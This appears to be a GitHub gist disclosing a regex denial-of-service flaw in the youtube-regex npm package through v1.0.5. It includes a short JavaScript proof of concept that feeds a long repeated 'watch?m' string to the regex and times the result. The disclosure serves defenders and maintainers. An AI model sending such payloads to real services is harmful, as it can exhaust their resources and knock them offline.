

Instantly share code, notes, and snippets.

[6en6ar](#) / [gist:66ef99397068c0a5e0d963bc47d7172c](#)

Created 20 hours ago

[Code](#) [Revisions](#) 1

Public disclosure for security issue in youtube-regex npm package through version 1.0.5

[gistfile1.txt](#)

```
1 Product: https://github.com/regexhq/youtube-regex
2 Version: v1.0.5
3 Vulnerability type: Regex Denial of Service
4 CVE ID: CVE-2025-65122
5
6 Description:
7 The regex on line 11. in index.js contains a Regex denial
8 of service when large input is provided. It takes longer
9 amount of time to process larger strings because regex will
10 try to backtrack each time it encounters watch?-.
11
12 Payload used:
13
14 var youtubeRegex = require('youtube-regex');
15 const startTime = performance.now() let payload = 'youtube.com/' + 'watch?m'.repeat(30000)
16 //youtubeRegex().test('unicorn youtube.com/watch?v=0EWbonj7f18');
17 youtubeRegex().test(payload);
18 const endTime = performance.now() console.log(`Time spent: ${endTime - startTime} millisec
```